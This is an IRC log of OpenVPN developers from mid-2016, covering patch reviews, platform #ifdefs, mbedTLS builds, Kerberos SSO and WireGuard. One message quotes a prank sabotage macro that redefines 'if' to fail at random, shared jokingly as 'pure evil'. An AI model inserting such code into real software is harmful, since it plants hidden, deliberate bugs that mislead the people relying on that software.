\o/ That's great! 08:25 <@cron2> as far as "big things" go, we're getting close - syzzer v4 needs a close look by someone who is not me (I think it's good, but it's critical code paths). Dazo's code needs another round. d12fk's patch needs windows testing infrastructure, and then, uh, "testing". And then we're good for 2.4_alpha 08:25 <@cron2> *then* it's the long and tedious process through our heap of trac tickets... 08:26 <@dazo> I hope to complete some openvpn stuff for PIA/LTM this today ... and I'll look through your comments 08:27 <@dazo> but a general note on a "single call" for querying user ... I don't see much of a point for that, as once this patch-set is done I'll move all of them into init.c (or similar appropriate) and they'll all be gathered in one single block 08:29 <@dazo> the only exception I need to consider is the user password, if the server enforces a new user authentication 08:29 <@cron2> I'm fine with that when it happens, but until then introducing many lines of extra code is not the way forward 08:30 <@cron2> especially not in that hairball of code :) 08:30 <@dazo> but what's the point of adding more code to remove it soon after? 08:30 <@dazo> it's 2 extra lines for a shorter timespan 08:31 <@dazo> (2 extra lines per call, that is ... and it is 2 or 3 places this is relevant for) 08:32 <@cron2> it's "one line today, one line after the first patch of the patch set", and "short timespan" could easily be "another year", so I don't see why we should do something that makes the code even worse to read "until then" 08:32 <@cron2> why are you so insistent on adding all these lines? it's the feedback you got after every round from me... 08:33 <@cron2> also, I think the current change set could go into 2.3, so we have the systemd improvements there - a larger rewrite to move it all to init.c wouldn't go there 08:34 <@cron2> so, make each individual change nice, please :-) 08:35 <@dazo> The reason this takes time .... is our review process. Period. 08:35 <@dazo> If we want this into 2.3, well, then I'll consider what to do there. 08:36 <@cron2> you wanted it in 2.3, iirc... 08:36 <@dazo> But for me a 2.3 patchset needs to be somewhat different 08:37 <@dazo> OpenVPN is not part of the official RHEL 7 repos, and the EPEL repos which carry OpenVPN moves faster forward with version rebasing (which does not often happen in RHEL repos) 08:44 <@cron2> well, your call :-) - but I was sure you wanted the systemd improvement bits, for "all the platforms" 08:45 <@cron2> if we consider this 2.4-only, maybe the next step (init.c) should then be considered right away, part of the bundle... 09:06 <@cron2> mattock: meeting monday :-) - cipher negotiation sprint, helsinki hackathon (lev__ is back and has filled in material) 10:12 <@d12fk> cron2: so my patch made it to the list? i don't see it in my client nor in gmane 10:25 <@cron2> d12fk: not yet, but since I know it is coming, I started the discussion :) 10:26 <@d12fk> well i sent it yesterday... 10:26 <@d12fk> seems my IT problem is back 10:26 <@cron2> still using exchange? 10:27 * d12fk *sighs* 11:01 <@dazo> d12fk: do the geeks at IBM did ... they set up their own "linux" subdomain with their own mail and more sane server 11:01 <@dazo> do *what* the .... 11:19 <@d12fk> there it is 12:34 <@cron2> d12fk: where did it hide? 12:38 <@d12fk> some tls issue I forgot about, only tried to send it last thing yesterday, but then no CA cert so send-email complained. no IT fuzz gladly 13:12 <@dazo> static const char *text[] = { 13:12 <@dazo> "It was a bright cold day in April, ", 13:12 <@dazo> "and the clocks were striking ", 13:12 <@dazo> "thirteen. ", 13:12 <@dazo> "Winston Smith, ", 13:12 <@dazo> "his chin nuzzled into his breast in an ", 13:12 <@dazo> "effort to escape the vile wind, ", 13:12 <@dazo> "slipped quickly through the glass doors ", 13:12 <@dazo> "of Victory Mansions, though not quickly ", 13:12 <@dazo> "enough to prevent a swirl of gritty dust from ", 13:12 <@dazo> "entering along with him." 13:12 <@dazo> }; 13:12 <@dazo> (from init.c) 13:38 <@cron2> yeah, the magic behind our #idefs 14:58 <@plaisthos> dazo: that is in init.c?! 14:59 <@plaisthos> indeed 14:59 <@plaisthos> d12fk: so with your patch, Android is now the only *weird* platform? :) 15:24 <@dazo> plaisthos: yeah, probably stuff we should move over to a unit test instead ;-) 15:47 <@cron2> plaisthos: indeed. We might want to revisit a bunch of #ifdefs eventually :) --- Day changed Sat Jun 25 2016 03:38 <@d12fk> plaisthos: at least Android has a reason for it to be in this order 06:36 <@cron2> if we merge the windows order swap, I think we should revisit Android as well - make "open_tun()" a total NOOP there, and implicitly do it in do_ifconfig() - that way, we could get rid of a large heap of #ifdefs and confusing code 08:51 -!- dazo [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 258 seconds] 08:51 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Ping timeout: 258 seconds] 08:52 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Ping timeout: 258 seconds] 08:52 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 08:52 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 08:53 -!- dazo [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 08:53 -!- mode/#openvpn-devel [+o dazo] by ChanServ 09:22 < Thermi> cron2: Why not differentiate the #ifdefs more? 09:22 < Thermi> Even if it means duplicating code, you can at least have distinct sections for each platform 10:42 <@cron2> Thermi: because the #ifdefs I'm talking about are really complicating things, with little benefit 10:43 <@cron2> we have plenty of per-platform code in per-platform #ifdef in route.c and tun.c, but this is init.c and "sort of weird, because windows" 15:31 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 15:31 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ 15:31 <@plaisthos> cron2: yeah. might be :) 15:31 <@plaisthos> if ifconfig is always the last that is called 15:34 <@cron2> well, open_tun, do_ifconfig, add_routes --- Day changed Sun Jun 26 2016 04:49 <@plaisthos> cron2: then that would not work 04:50 <@plaisthos> android needs *all* information before open_tun :/ 04:58 <@cron2> mmmh. So (thinking hypothetically) we'd need to add an "do_android_open_for_real()" call right next to "initialization done"... 04:59 <@cron2> need to look more at the source to see if this is doable and would indeed make the code easier, or just move complications around 06:39 <@plaisthos> cron2: yeah 06:40 <@plaisthos> some of the ifdefs are only because of options that break android 06:40 <@plaisthos> like route-dealy 06:40 <@plaisthos> which will move route after ifconfig with some delays 06:40 <@plaisthos> (or after opentun which is the real problem) 19:09 -!- dazo [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 258 seconds] 19:10 -!- dazo [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 19:10 -!- mode/#openvpn-devel [+o dazo] by ChanServ 19:30 -!- dazo [~dazo@openvpn/community/developer/dazo] has quit [Ping timeout: 250 seconds] 19:31 -!- dazo [~dazo@openvpn/community/developer/dazo] has joined #openvpn-devel 19:31 -!- mode/#openvpn-devel [+o dazo] by ChanServ --- Day changed Mon Jun 27 2016 01:41 <@cron2> mornin' 02:46 <@vpnHelper> RSS Update - tickets: #694: port-share change all https-request-IPs to localhost <https://community.openvpn.net/openvpn/ticket/694> 03:39 <@cron2> meeting tonight? 03:39 <@cron2> syzzer: dead or alive? 04:34 <@d12fk> you're competing against #ESPITA and #ENGICE 10:04 <@cron2> ok, seems the answer is "we will NOT do a meeting tonight" -> next week? or is there still foozball? --- Day changed Tue Jun 28 2016 01:12 <@syzzer> cron2: alive, but just barely - got the keys to my new house last thursday, and had to move some walls before the painters could put up wallpaper and paint everything 01:13 <@syzzer> was a bit more work than I expected :') 01:14 <@syzzer> now back to reading the scrollback 01:55 <@cron2> syzzer: welcome back :-) - you missed a non-meeting yesterday, and I did review your patch set :) 01:56 <@syzzer> yes, I noticed the mails, and have all fixes ready in my local git tree 01:56 <@cron2> cool 01:56 <@cron2> I'd really like to have a review from James, but he seems to be busy :( 01:56 <@syzzer> I'll still be mostly afk, but will check in every now and then again ;) 01:58 <@syzzer> (sitting in the garden now, waiting for the painters to finish with the living room so I can continue with my own tasks) 01:58 <@cron2> enjoy! 01:59 <@syzzer> thanks :) 02:00 <@syzzer> let's see if I pushed my branch - otherwise the v(n+1) patches will have to wait till I get back to my old place 02:07 <@syzzer> nopes, will have to wait till I get back. Hopefully tonight. 03:35 <@d12fk> missing the meeting was totally worth it =) 03:51 <@vpnHelper> RSS Update - tickets: #695: Nonpaged pool leaks memory whenever OpenVPN is running <https://community.openvpn.net/openvpn/ticket/695> 07:08 < xxavi> hi 07:18 < xxavi> I want compile OpenVPN source code, I get this error: http://paste2.org/5mxnMfy8 07:31 <@dazo> "checking whether the C compiler works... no" 07:32 <@dazo> You seem not to have a C compiler installed 07:32 <@dazo> xxavi: ^^^ 07:45 <@ecrist> heh 10:07 < xxavi> dazo: ok, thanks but, which C compiler want OpenVPN ? 10:16 <@ecrist> gcc is sufficient 10:16 <@ecrist> I think clang works, as well 10:17 < xxavi> ecrist: oh, ok, then if I have gcc why it not work ? 10:19 <@ecrist> it looks like you're trying to build on 32 bit, maybe? 10:20 <@ecrist> the *x86_64_unknown-linux-gnu* is suspect 10:21 < xxavi> ecrist: nope, I'm in 64 bit 10:22 <@cron2> check the config.log to see what error message is thrown 10:22 <@ecrist> well, configure can't seem to figure out the system type. 10:22 <@cron2> ecrist: this is normal output on linux/64 10:23 <@cron2> configure:3500: checking build system type 10:23 <@cron2> configure:3514: result: x86_64-unknown-linux-gnu 10:23 <@ecrist> really? 10:23 <@cron2> yes 10:23 <@ecrist> fucking linux 10:23 <@cron2> why? it just says "this is the CPU - we do not know the hardware vendor - it's linux" 10:23 <@ecrist> just because, why not? 10:23 <@ecrist> ;) 10:23 <@cron2> why's that better? 10:23 <@cron2> configure:3514: result: amd64-unknown-freebsd10.1 10:23 <@ecrist> fucking freebsd 10:23 <@cron2> it's not even an AMD CPU... 10:24 <@ecrist> yeah, the FreeBSD amd64 goes way back 10:24 <@ecrist> AMD came out with 64 bit before Intel 10:24 <@ecrist> so, the code threads were named amd64 10:24 <@cron2> technically, AMD came out with 64 bit x86 before Intel (who sank itanium in the meantime)... - but I understand that, and the config output shouldn't be overvalued 10:24 <@ecrist> unlike polarssl, the FreeBSD folks just said, "screw it, amd64 stays" and Bob's your uncle. 10:25 <@ecrist> cron2: you're taking me way too seriously, and way too literally. 10:25 < xxavi> cron2 and ecrist: here my config.log http://paste2.org/HDhDEOyx 10:27 <@cron2> xxavi: what's so hard in reading your log yourself? 10:27 <@ecrist> it's easier if we do it 10:28 <@ecrist> then he doesn't have to learn things. :) 10:28 <@cron2> configure:3949: checking whether the C compiler works 10:28 <@cron2> /usr/bin/ld: cannot find /usr/lib64/libc_nonshared.a 10:28 < xxavi> cron2: which C compiler need OpenVPN ? 10:28 <@cron2> xxavi: anything is fine, but the C compiler actually needs to be working properly 10:28 <@cron2> gcc, cc, clang, MSVC, ... 10:29 <@cron2> and *this* compiler, as the log file tells you, is missing a library (at least one) that it would need to build binaries 10:30 < xxavi> cron2: oh, ok, the library ( libc_nonshared.a ) which tool is ? 10:30 <@cron2> ah library is a library, and you'll need to find out how to install a development environment on your unknown-to-us linux distribution 10:31 <@cron2> http://bfy.tw/6UXv 10:31 <@vpnHelper> Title: Let me google that for you (at bfy.tw) 10:32 < xxavi> cron2: oh, ok, but, which "development environment" ? 10:34 <@cron2> to compile a program, you need a development environment - C compiler, libraries, header files. If you have no idea what that means, do not compile software. 10:35 <@cron2> get a book about linux 10:36 <@cron2> put "what do I need to compile stuff on linux distribution XXXX" (we do not know XXXX, you haven't told us) into google 10:36 < xxavi> cron2: hmmm, ok, thanks 10:36 <@cron2> on debian, you need to do different things to get started than on redhat 10:36 <@cron2> etc 10:49 < xxavi> cron2: well, I installed the development environment on my distribution I get this error now http://paste2.org/p5Bv8E2z but I have git package, any idea ? 14:29 <@dazo> A true must have book! https://twitter.com/ThePracticalDev/status/747843812219813888 ;-) 15:56 <@ecrist> heh 15:56 <@ecrist> did xxavi give up? 15:56 -!- Irssi: #openvpn-devel: Total of 23 nicks [8 ops, 0 halfops, 0 voices, 15 normal] 17:03 <@ecrist> ping mattock - www.expressvpn.com 17:06 <@ecrist> not sure what they do, but they use some OpenVPN. 17:21 <@ecrist> well now, isn't this just a blast from the past? https://openvpn.net/tuntap.html 17:21 <@vpnHelper> Title: TUN/TAP Driver Info (at openvpn.net) --- Day changed Wed Jun 29 2016 01:17 <@vpnHelper> RSS Update - tickets: #696: Detect default route fails on smartos, leading openvpn to not define full routing table. <https://community.openvpn.net/openvpn/ticket/696> 03:53 < valdikss> https://www.wireguard.io/ 03:53 <@vpnHelper> Title: WireGuard: fast, modern, secure VPN tunnel (at www.wireguard.io) 03:53 < valdikss> cron2: I'll test that patch today, sorry for the delay. 04:00 <@cron2> yeah, seen the wireguard page yesterday. Sounds great. Let's wait a few months and see them run into the same issues :-) 05:33 <@d12fk> what issues are you referring to cron2? 06:02 <@cron2> like "it is slow on windows!" and "cross-platform maintenance is causing much more work than single-plattform" 06:29 <@d12fk> since it's kernel space only they should be able to make it much faster than tap-windows 06:29 <@d12fk> however implementing the algorithms will exceed the 4k lines of code by far 06:30 <@d12fk> i think this is not really competing against ovpn, rather site-to-site ipsec 06:30 <@dazo> geee ... I begin to hate #ifdefs in the openvpn code with a passion ..... 06:30 <@d12fk> ovpn is used for remote access mostly and for that it lacks user/pass auth 06:31 <@d12fk> customers love to manage stuff in AD 06:32 <@dazo> #if 1 .... typedef uint32_t packet_id_type; ... #else .... typedef uint8_t packet_id_type; ... #endif 06:32 <@cron2> d12fk: well, they have "future plans" to make it work in userland with tun/tap... 06:32 <@cron2> ... kernel space on windows would certainly be a more interesting challenge :-) 06:32 <@d12fk> really? sounds like feature bloat to me right awayy 06:32 <@dazo> (the #else part is marked as DEBUG ONLY ... but.......) 06:34 <@dazo> Regarding wireguard ... I think we should be more worried about openconnect .... which have a user-space server side running now, if I've understood it correctly it will work with native IPSec clients on mobile/tablets 06:35 * cron2 is not worried 06:35 <@dazo> (supports GSSAPI auth out-of-the-box, no need for client config - all you need is a hostname) 06:35 <@cron2> sounds like a great way to authenticate the server :) 06:37 <@dazo> heh ... well, I believe you can add that as well, haven't dug into those aspects ... just seen it demoed by FreeIPA guys when demonstrating SSO 06:39 <@dazo> (kdcproxy + GSSAPI is quite a killer feature when it comes to SSO .... kdcproxy ~~ KDC over HTTPS, which is a MS supported implementation too, so should work out for Windows too) 06:50 <@dazo> A few demos from a session in February... https://youtu.be/K0ZA2dxjA3A?t=890 (login + VPN) ....https://www.youtube.com/watch?v=K0ZA2dxjA3A&feature=youtu.be&t=1505 (setting up yubikey, logging on) .... https://www.youtube.com/watch?v=K0ZA2dxjA3A&feature=youtu.be&t=2042 (Setting up GNOME with Google Apps with SSO against FreeIPA through Ipsilon) 06:57 <@dazo> cron2: Just recalling back to some questions I remember regarding openconnect and authenticate the server. I believe one of the argument was that it wasn't needed when you use it with GSSAPI. The kerberos ticket to login is retrieved via a different channel, and that ticket will not allow a user to connect to compromised/MITM VPN server - as that server also needs to have been configured against the same KDC 06:59 <@dazo> (MIT kerberos clients can also be configured to authenticate the kdcproxy's HTTPS certificate via a local copy of a CA certificate as well, so you won't get a valid kerberos ticket if the kdcproxy is MITM) 07:31 <@ecrist> some day soon I need to learn kerberos 07:43 <@cron2> I'm not sure I buy that argument. The malicious server could just transparently forward kerberos authentication packets back and forth (which is undedetectable), and then mess with the data packets in the VPN 07:43 <@cron2> mmmh, ok, if you generate the session keys from kdc info, this won't buy you anything - ok, convinced 08:23 <@dazo> ecrist: on one of your rhel boxes ... 'yum install ipa-server && ipa-server-install' .... and on the other boxes 'yum install ipa-client && ipa-client-install' ... and you're rolling .... on other boxes where FreeIPA stuff isn't available, it's just a matter of obtaining a keytab file for /etc/krb5.keytab and configure /etc/krb5.conf, then you're basically good to go 08:23 <@dazo> (of course having deeper understanding of how it works is always an advantage, but the FreeIPA stuff makes it very easy to get started) 08:24 <@dazo> cron2: right, to make the GSSAPI authentication working, the server needs access to a keytab provided by the same KDC as the client uses 08:25 <@dazo> cron2: I haven't dug into the core implementation of openconnect ... but I'd presume they use some GSSAPI bindings to tie a VPN session to a GSSAPI authentication 08:28 * dazo heads out 09:10 <@ecrist> dazo: I'm using IPA, and we're using some kerberos, but I don't really *know* how it exactly works. 09:11 <@ecrist> I need to figure out how to integrate it into our website and some other infrastructure. SSO is the goal. 10:16 <@vpnHelper> RSS Update - tickets: #697: openvpn client asks for password even though auth-user-pass present <https://community.openvpn.net/openvpn/ticket/697> 16:07 <@ecrist> anyone around that can help me compile 2.3.11 source with mbed TLS 2.3.0? 16:08 <@ecrist> to make it more interesting (and slow), I'm attempting this on a Raspberry Pi B+ 16:13 <@cron2> ecrist: there is no way to help you 16:14 <@ecrist> D: 16:14 <@cron2> openvpn 2.3.x will only work with polarssl 1.3.x, because the API in mbedTLS 2.x is sufficiently different that it took quite a big patch to go from there to there... 16:14 <@ecrist> ah 16:15 <@cron2> master will work with mbedTLS 2.x (though I'm not sure 2.*3* works, I only ever tested 2.2.x) 16:15 <@cron2> commit 86d8cd6860dfc74cb1a040ff8fe03140ebe7f930 16:15 <@cron2> Migrate to mbed TLS 2.x 16:15 <@ecrist> I'll try the polarssl 1.3 first 16:18 <@cron2> that should work 16:18 <@ecrist> is the "make" from the mbed TLS source tarball really enough to put the libraries where OpenVPN configure will find them? 16:41 <@ecrist> I get checking polarssl version... configure: error: PolarSSL 1.3.x required and must be 1.3.8 or later 16:41 <@ecrist> I've downloaded source for 1.3.17 and run "make" per the readme 16:56 <@ecrist> cron2: does openvpn require the polarssl shared libraries, or can it use the static libraries? 18:22 <@ecrist> muahahaha 18:22 <@ecrist> I am victorious 18:22 <@ecrist> I couldn't get it to build with 1.3.10+, but I could get 1.3.9 to build. 18:22 <@ecrist> Notably, 1.3.10 is when they started changing naming to mbedtls, instead of polarssl. --- Day changed Thu Jun 30 2016 01:31 <@cron2> ecrist: what broke in 1.3.10? 01:32 * cron2 has 1.3.16 on freebsd, and build with that succeeded --- Log closed Thu Jun 30 04:01:11 2016 --- Log opened Thu Jun 30 04:01:19 2016 04:01 -!- Irssi: #openvpn-devel: Total of 25 nicks [8 ops, 0 halfops, 0 voices, 17 normal] 04:01 -!- mode/#openvpn-devel [+o ecrist_] by ChanServ 04:02 -!- Irssi: Join to #openvpn-devel was synced in 63 secs 04:05 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has quit [Disconnected by services] 04:07 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn-devel 04:07 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 04:33 <@dazo> ecrist_: what kind of web server do you use? ... for apache, you have mod_gssapi which is the preferred module. Then it's just a matter of fetching a keytab for the HTTP service and configure the proper <location> section ... in addition browsers need to have proper domains set up to allow SPNEGO ("GSSAPI over HTTP/S") - for firefox that's the network.negotiate-auth.trusted-uris setting .... f.ex. you would set it to '.openvpn.net' 04:33 <@dazo> to allow all openvpn.net domains (including sub-domains) and you list up all domains, comma separated 04:34 <@dazo> For chrome/chromium there's a command line argument to enable this .... for IE/Edge/Opera/etc I have no idea 04:35 <@dazo> Otherwise, to get a better understanding of how Kerberos works under the hood, I can recommend this book: http://shop.oreilly.com/product/9780596004033.do 04:41 <@dazo> (I do have some PoC code implementing SSO for a python flask based app, but that's strictly not a big challenge ... just importing a flask_kerberos module, run init_kerberos(app) and add @requires_authentication at the proper places and you're done) 08:09 <@ecrist_> thanks for the info, dazo. 08:10 <@ecrist_> cron2: maybe nothing? I'm going to retry the 1.3.17 build this morning. 08:10 <@ecrist_> I don't think I was setting CFLAGS correctly when I tried it 08:10 <@ecrist_> it just takes a while, raspberry pi and all... 08:47 <@ecrist_> cron2: 1.3.17 did build just fine 08:58 <@cron2> good 09:04 -!- You're now known as ecrist 09:24 <@dazo> here's some pure evil in C .... https://gist.github.com/aras-p/6224951 .... Can't help having a nasty feeling I've seen some of these bugs and now wonder if it was because of such code ..... 09:24 <@vpnHelper> Title: Things to commit just before leaving your job · GitHub (at gist.github.com) 09:25 <@dazo> one of my "favourites" is probably this one .... #define if(x) if ((x) && (rand() < RAND_MAX * 0.99)) .... 12:03 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Ping timeout: 258 seconds] 16:46 -!- Netsplit *.net <-> *.split quits: @cron2 20:38 -!- cron2 [~hunger@openvpn/community/developer/cron2] has joined #openvpn-devel 20:38 -!- ServerMode/#openvpn-devel [+o cron2] by barjavel.freenode.net 21:38 < ladweeba> can anyone give me an estimate on how much it would cost to code a patch that would add obfuscation and padding to openvpn? --- Day changed Fri Jul 01 2016 00:53 <@cron2> 400 million 03:14 < ladweeba> why so much moolah cron2? 03:15 < ladweeba> that's how much you would cost? 03:15 < ladweeba> mighty 03:15 * cron2 did not say 400 million of what 03:16 < ladweeba> :D 03:16 < ladweeba> that is true 03:16 <@cron2> but I'd recommend looking in our trac for "obfuscation", as there's quite a bit of ongoing discussion about that yet 03:16 < ladweeba> oh? 03:16 < ladweeba> i was googling something besides obfsproxy and stunnel 03:17 < ladweeba> and i see nothing for adding a patch for padding 03:17 < ladweeba> where's your trac? 03:17 <@cron2> http://community.openvpn.net/ 03:17 <@vpnHelper> Title: OpenVPN Community (at community.openvpn.net) 03:18 < ladweeba> okay i was there earlier 03:18 <@cron2> thing is, we do not want this in our code base - because that would mean "adjusting openvpn code each time the great firewall of china learns how to handle the current obfuscation" 03:18 < ladweeba> i see 03:19 <@cron2> so, someone needs to come up with a proper plugin architecture to enable packet mangling right before sending out to the network, and then we have "whatever is needed" and users have the flexibility to use whatever works for them, without needing openvpn code changes 03:20 < ladweeba> another option would be to buy a Hong Kong 4g card with roaming 03:21 < ladweeba> but the max is 60GB per month for 200 USD 03:21 < ladweeba> so it'd be cheaper to spend a bit of cash on something that can run on a vps 03:22 < ladweeba> they're currently running a patched openvpn on my router 03:22 < ladweeba> but the patch is public and even used by some commercial providers 03:22 < ladweeba> used to be fast enough for 4k youtube at the beginning, but now it get's detected 03:37 < ladweeba> a chatmate wants someone to patch his public openvpn but i guess the chances of this happening is slim to none 05:41 < ender|> from what i've read, the great firewall simply looks at the amount of traffic going to a single IP, and starts disrupting that if there's too much of it 11:33 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has quit [Quit: Ctrl-C at console.] 11:34 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn-devel 11:34 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 11:36 <@ecrist> !google 11:36 <@ecrist> hrm 11:36 <@ecrist> the plugin is disabled 11:47 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has quit [Quit: Ctrl-C at console.] 11:47 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn-devel 11:47 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 13:21 <@cron2> !google 13:21 <@cron2> ecrist: vpnhelper isn't talking... 13:46 <@dazo> <ecrist> !google 13:46 <@dazo> <vpnHelper> "google" is Don't trust google searches blindly. Start first by looking at the official docs at https://community.openvpn.net/openvpn/wiki/ 13:46 <@vpnHelper> Title: OpenVPN Community (at community.openvpn.net) 13:46 <@dazo> (from #openvpn .... factoid database probably are not synced between channels) 14:18 <@ecrist> they should be 14:18 <@ecrist> !google 14:18 <@ecrist> oh, maybe not 14:19 <@ecrist> nope, they are not linked. 14:53 * dazo decides to start improving code documentation as soon as his current task has been resolved 14:54 <@dazo> I'm debugging things in the TCP stack on the socket layer (control channel stuff, not data channel) .... there are quite some undocumented surprises 14:56 <@dazo> at least adding graphing in the doxygen docs helps to see all the different call chains 16:49 -!- s7r_ [~s7r@openvpn/user/s7r] has joined #openvpn-devel 16:54 -!- s7r [~s7r@openvpn/user/s7r] has quit [Quit: sigterm] 16:54 -!- Thermi_ is now known as Thermi --- Day changed Sat Jul 02 2016 00:08 -!- luckman212_ is now known as luckman212 02:31 -!- s7r_ is now known as s7r 02:32 <@cron2> dazo: you might want to talk to d12fk, as he's been busy with multi-socket-listen servers --- Day changed Mon Jul 04 2016 01:41 <@cron2> mornin 01:41 <@mattock> morning 01:51 <@cron2> plaisthos: are you ok with Selva PATCH v2? I think it looks good, and your discussion was quite fruitful :-) 04:24 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 04:25 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ 04:26 <@mattock> when you guys have some time, please review https://github.com/OpenVPN/openvpn/pull/57 04:26 <@vpnHelper> Title: Deprecate the automatic part of openvpnserv.exe by mattock · Pull Request #57 · OpenVPN/openvpn · GitHub (at github.com) 04:26 <@mattock> if that looks fine, I'll send a patch to the list 04:26 <@cron2> no 04:26 <@mattock> ah 04:26 <@mattock> reviewed already 04:26 <@mattock> I missed the email 04:26 <@mattock> (from github) 04:27 <@mattock> or maybe I have notifications from openvpn/openvpn disabled, dunno 04:27 <@cron2> the idea is good, but looking at the actual patches is yet another few extra steps in addition to the final review on the list that I flatly refuse to do so 04:27 <@cron2> so, feature-ACK 04:31 <@mattock> there it goes 05:13 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Quit: foo!] 05:14 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 05:14 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ 05:14 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Client Quit] 05:53 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 05:53 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ 06:06 <@plaisthos> with the connect-retry exponential patch I think I can remove the default of 5 connect retries in OpenVPN for Android ... 06:06 * cron2 likes the work you and selva have done over the weekend :) 06:11 <@plaisthos> yeah, when selvas patch is in, I will post one to move connect-retry to non connection 06:53 <@syzzer> hi there - are you planning to have a meeting tonight? Since you wanted to do one last week, but I was MIA... 07:04 <@cron2> is there football tonight? 07:06 <@plaisthos> no 07:10 <@cron2> I'm not sure a meeting would help move forward with the open issues right now (syzzer 3..5 need review, mattock's windows installer needs testing, d12fk's patch needs a testing infrastructure on windows) 07:11 <@cron2> so maybe postone until next week, with proper invitation on friday? 07:14 <@plaisthos> Yeah, I still need to look at syzzer patches :( 07:14 <@plaisthos> selva's patch was easy and I already knew code before 07:27 <@plaisthos> selvas patch is great, apart from the fact that it does not work in my http proxy gives an error test 07:33 <@plaisthos> oh 07:33 <@plaisthos> if you have management it ignores whatever wait time is there 07:34 <@plaisthos> d'oh :/ 07:34 <@plaisthos> so I have to implement it is the ui :( 07:40 <@plaisthos> Which does not have all the information needed 07:53 * plaisthos is writing a patch .oO( buf_printf (&out, ">HOLD:Waiting for hold release, would wait %d s", holdtime);) 08:09 <@plaisthos> also my connect-retry time that is selectable in the UI has zero effect but no one has complained so far :0 08:14 <@syzzer> cron2: ok, no meeting is good for me - gives me time for sport tonight 08:14 <@cron2> *g* 08:52 <@plaisthos> Yay, for new logic. Now my app primarely hangs at "Waiting between connection attempts" 08:52 <@plaisthos> %) 08:52 <@dazo> I would have had time for a meeting today ... next week I'm on holiday again 08:56 <@plaisthos> today is "parents training" for us 08:56 <@plaisthos> (for those in our sport clubs where only the childern fence, the parents get one day where they also try the sport of their childern) 09:54 <@dazo> This made me think of Delft ... not because of the incident, but the parking :) https://twitter.com/AwardsDarwin/status/749960158424465408 10:09 -!- mattock_ [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 10:09 -!- mode/#openvpn-devel [+o mattock_] by ChanServ 10:11 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 276 seconds] 10:11 -!- mattock_ is now known as mattock 10:29 <@plaisthos> dazo: :) --- Day changed Tue Jul 05 2016 05:29 <@cron2> did I mention that I just plain hate phones, and especially Samsung ones? 05:57 <@dazo> Good to know :) I need to get a new phone in to too far future (my Jolla is beginning to be worn out after 2.5 year of service) ... Wondering about One+, Motorola Moto G ... not interested in a too expensive one, just something which works and need to be supported by CyanogenMod (don't want Google Services installed) 05:57 <@dazo> in *not* too far 06:43 <@cron2> Motorola is having good and not very much mangled Android, plus timely updates. No idea about CM, though. 06:50 <@dazo> The 2015 model of Moto G should be fully supported with both CM12.1 and CM13 ... so should be fairly good, and it is quite affordable too 06:51 <@mattock> dazo: android without Google services is pretty limited 06:51 <@mattock> I've tried it with my Nexus 7, and the application selection is not really much better than with Jolla 06:51 <@mattock> although you could probably side-load stuff without using the Play store 06:52 <@mattock> but it's definitely not all roses and sunshine imho 06:52 <@dazo> mattock: it's not that bad :) well, I do pull down stuff via apkpure or aptoide if it doesn't exist in f-droid 06:54 <@dazo> I don't have issues with Google Play store, that's reasonable and acceptable ... but the googe services which adds a ton of other google crap on your device, that's not acceptable 06:56 <@mattock> the problem seems to be that most app developers don't bother releasing their stuff in anywhere else except Google Play (which requires the rest of the crap) 06:56 <@mattock> and the open source android application selection is not that good 06:56 <@dazo> ohhhh .... http://opengapps.org/ 06:56 <@vpnHelper> Title: The Open GApps Project (at opengapps.org) 06:57 * dazo just noticed this one 06:57 <@mattock> interesting 06:57 <@mattock> my Nexus 7 is getting very slow, but I don't like the idea of having to buy yet another Android tablet 06:58 <@mattock> but there are very few options to that... 06:58 <@dazo> mattock: For my need on an Android tablet, I've lived without Google Services for almost 2 years ... and what I need to side-load from misc Google Play alternatives (like apkpure), is just a handful of apps ... so I'm not that pessimistic :) 06:59 <@dazo> And then it's a similar situation on the Jolla too :) 07:00 <@mattock> I would not mind an Android tablet, except that more and more of Android has become proprietary Google stuff 07:00 <@mattock> the core which is OSS is getting rather small, with Google having a strangehold on the platform 07:01 <@dazo> yeah, which is exactly why I insist on CM ;-) .... despite the added complexity for apps only available in Google Store 07:01 <@mattock> yep, definitely CM or something similar 07:02 <@mattock> anyways, I'll bear with my Jolla and Nexus 7 for a while - for what I use them for they're still quite ok 07:04 <@dazo> My Jolla have stopped vibrating most of the time, and often it doesn't even play the ringtones (even when not muted) - so I know I got calls/messages now primarily due to my Pebble watch ... and the battery time is reduced too ... and getting somewhat slower ... so its time to look at something new 07:05 <@mattock> mine seems to work fine, and in my use I only need to charge the battery every ~5 days 07:05 <@dazo> plus there's a bunch of long outstanding bugs in the Calendar sync ... which I'm getting fed up of 07:05 <@mattock> (I don't use it heavily, as you can see) 07:05 <@mattock> yeah, I think Google Calendar sync is pretty broken 07:05 <@dazo> 